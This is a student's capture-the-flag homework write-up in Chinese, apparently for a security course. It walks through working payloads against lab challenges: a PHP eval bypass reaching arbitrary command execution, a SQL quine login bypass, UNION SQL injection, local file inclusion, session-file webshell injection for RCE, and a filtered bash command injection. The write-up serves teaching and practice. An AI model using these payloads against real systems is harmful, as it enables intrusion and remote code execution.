--- tags: 資訊安全實務 --- # HW5 ## (#°д°) 這題有點不知道該怎麼說...,首先是PHP中字串是可以利用計算來算出來的,但我們利用get輸入的字串再放到eval的話就會變成字串中的字串運算不瞭,所以還需要能夠動態運算?的方法,題目中的長度限制32又不能夠輸入數字英文的情況下,實在是有點嚴苛,後來在注意到php的function可以動態執行後我算是有了方向 * 要構造出在eval裡面能夠再輸入變數的地方,像是 * `$_GET[a]($_GET[b])` * php中能夠利用"system"("ls")這樣來執行function * 配合php使用${...}時會去執行括號裡面的運算等等就能夠構造出這樣的payload 有了方向後一開始我是用互斥或來運算出字串,構造出`${"!:;/"^"~}~{"}[_]`這樣的字串,這樣就能達成`$_GET[_]`然後我們就能夠跳脫他所寫的正規表達式及長度限制,但當我想用這樣的方法構造出`$_GET[_]($_GET[__])`時卻因為長度超過了32因此無法實現,後來我發現php還有取反這一回事,比起利用互斥或1個字需要2個字來去運算,取反只要在數字前面加上~便能夠完成,明顯能夠讓長度減少,所以我就分別找出`_GET`四個字在16進制下的not來去構造出相同的payload,4個字分別為 * ~"%A0%B8%BA%AB" --> _GET 最後在URL上的輸入為: * `?(%23°д°)=${~"%A0%B8%BA%AB"}[_](${~"%A0%B8%BA%AB"}[__]);&_=system&__=your command` * 在eval中就會變成`eval("$_GET[_]($_GET[__]);")` 這樣就能夠輸入任意指令了,所後拿到的FLAG為 ``` FLAG{peeHpeeeeee(#°д°)!} ``` ## vb2077 ### 2020-11-24 ...這題我真的沒有啥頭緒,是要union出一個跟union一樣的內容來成功登入嗎?? 好奇解答QQQ ### 2020-11-25 2020年11月25號的這一天,我想起來了1年級程式設計曾經考過一題是c的自我print,但是我實在是不知道這東西到底要怎麼在SQL上實現,鬼才知道,於是乎我就向同學詢問了之後他給了我一個關鍵字**quine**,????那是啥鬼,wiki了一下才發現那是自產生程式,草那我就在google了**SQL quine**我就找到了以下的code ```python def quine(data, debug=True): if debug: print data data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)") blob = data.replace('$$','"$"').replace("'",'"') data = data.replace('$$',"'"+blob+"'") if debug: print data return data ``` 這就是生成器嗎(#°д°),在看了一下大概怎麼使用後,我就執行了以下的code * `quine("' UNION SELECT 'admin' AS username, $$ AS password --")` 把生成的query丟到密碼那一欄,username打上admin後就成功符合`if res != None and res['username'] == username and res['password'] == password`,就成功登入啦!!! 那麼下一步就是要想辦法拿到flag,初步看了一下拿到flag的條件為session['is_admin']為true,但很遺憾的是在我們訪問這個網頁的同時session就被寫為false了,而且因為session有簽章的部分所以無法偽造,那麼問題就來了,他FLAG是放在一個名為flag的class裡面的flag變數,再仔細看一下return的語句```return ("<h1>Hello, " + username + " 。:.゚ヽ(*´∀`)ノ゚.:。 </h1> Here is your flag: {flag} ").format(flag=flag)```,如果直接讓flag這個class輸出的話她會呼叫__str__這個東西,那如果我在username的地方變成`"{flag.flag}"`,因為後面的format(flag=flag)所以會讓第一個flag變成class flag,那後面的.flag就會變成去取他class裡面的flag變數,所以我們需要改變一下我剛剛構造的query: * `quine("' UNION SELECT '{flag.flag}' AS username, $$ AS password --")` 這樣再登入的時候就會在username的地方把flag給輸出,就能成功拿到flag了 FLAG ``` FLAG{qu1n3_sq1_1nj3ct10nnn.__init__} ``` 最後我實在要講一下,這個反人類的query怎麼會有人想的到啊...,用tool應該不會被扣分吧QQ --- # LAB5 ## guess 首先先上這題的核心code,這題是php的code ```php if (!empty($guess) && $guess == $ANSWER) { echo "<p>Correct!</p>"; if (md5($token1) == sha1($token2)) echo FLAG; ``` 只要讓這個兩if成功成立就能拿到flag,這實在太簡單了,第一個只要讓guess跟ANSWER相等就過了www,第二個則是要讓兩個不同方法的hash後的內容相等,但是根據投影片上 * md5([]) = NULL * sha1([]) = NULL 也就是說我只要讓token1跟token2等於一個空的陣列就能過這個判斷,所以最後的payload如下 * ?guess=1&ANSWER=1&token1[]=""&token2[]="" FLAG ``` FLAG{php_1s_s0_we1rd} ``` ## shark AAAA這題是使用js寫的code,核心code如下 ``` const command = reqest.query.command; if (command && command.indexOf("shark") == -1 && command.length < 3 && command == "Baby shark, doo doo doo doo doo doo") response.send(SECRET); ``` 也就是說要讓command不包含shark並且長度小於3但又要最後的結果為Baby shark, doo doo doo doo doo doo,然而這一切在js下並使用兩個=的情況下並沒有用,我知道讓command變成陣列的時候能直接讓過前兩個判斷,並且在跟字串最比對的時候他會把陣列變成字串,那答案就很明顯了 * ?command[]=Baby shark, doo doo doo doo doo doo FLAG ``` FLAG{WTFFF_JSSSS} ``` ## meow 這題在我們輸入`?id=-1 union select 1,2,3`後發現能夠做SQL injection後...,只要慢慢找出db,table跟column的name就好了,由於這三個打起來有點長我這邊就不再貼上了,投影片上都有,直接上搜尋到的結果 * db name為catdb * table name為flag * column name為the_flag 最後輸入?id=-1 union select 1,2, the_flag from flag where id=1便能找出flag FLAG ``` FLAG{m30w_m30wm30w} ``` ## 複製文產生器 這題在隨便選了一個模板後他網址顯示的會是`https://copygen.splitline.tw/?tpl=template/8sir.php`,看到tql=...後或許就能夠嘗試`php://filter/convert.base64-encode/resource=index.php`這種方法來拿到source code,果不其然拿到之後在裡面找到了 * $FLAG_1 = "FLAG{c0py_th15"; // RCE to capture flag2 也就是說第二步我們要想辦法RCE,在source code裡面又能看到一個code`username = htmlentities($_SESSION['username'])`,這就代表我們登入後看到的username其實是寫在_SESSION['username']裡面...,那我們只要在登入時注入webshell的code再去訪問session的話就能夠成功RCE,因phpinfo裡的save path沒有設,所以預設是存在/tmp/sess_{sessionid},讓username設成`<?php system(_GET['a']);?>`,並且成功訪問到`https://copygen.splitline.tw/?tpl=/tmp/sess_{session_id}`的地方後只要在後面加上&a=ls之類的就能夠成功RCE了,最後得到的FLAG2為 * _fl4g_4nd_subm1t} 因此最後FLAG為 `FLAG{c0py_th15_fl4g_4nd_subm1t}` 最後提一下我原本好奇為什麼看code的部分不直接輸入`https://copygen.splitline.tw/?tpl=/var/www/html/index.php`,結果輸入了之後發現看到的是redener後的東西我就了解了... ## base32 command injection 這題題目讓我們能輸入的點是 `/bin/bash -c 'base32 --decode <<< "' + input + '"` 並且題目又多了一個addslash去讓我們無法輸入"來去閉合這個指令,但是我發現一件是,就是linux上好像沒有\'這個東西,於是我就嘗試在我的cmd裡面輸入了`/bin/bash -c 'base32 --decode <<< "''`這樣的指令,就發現他噴錯了,指令執行失敗但cmd裡面有邏輯運算,在or的邏輯運算下若前面的指令執行失敗就會去執行or後面的指令,也就是說我現在能夠讓她前面的base32執行失敗,再用|來接上我們想要的指令就能成功RCE了,字串後面還有'"這個必須解決,cmd裡可以用#來當作註解,因此payload會像這樣`*?string='| ls #`。 但URL裡#代表fragment,所以必須先encode為%23,所以最後在URL上的輸入: * `?string=' | c$1at /fla* %23` * cmd看到的是`' | cat /fla* #` 那麼再來說說為什麼會用c$1at不直接cat呢,因為他code裡把cat視為禁字,但cmd裡又有變數能用,平常沒assign時他會是空的,所以利用這個變數來繞過php的檢查,最後成功拿到flag FLAG ``` FLAG{b64d(Y29tbWFuZF8xbmozY3QxMG4h)} ```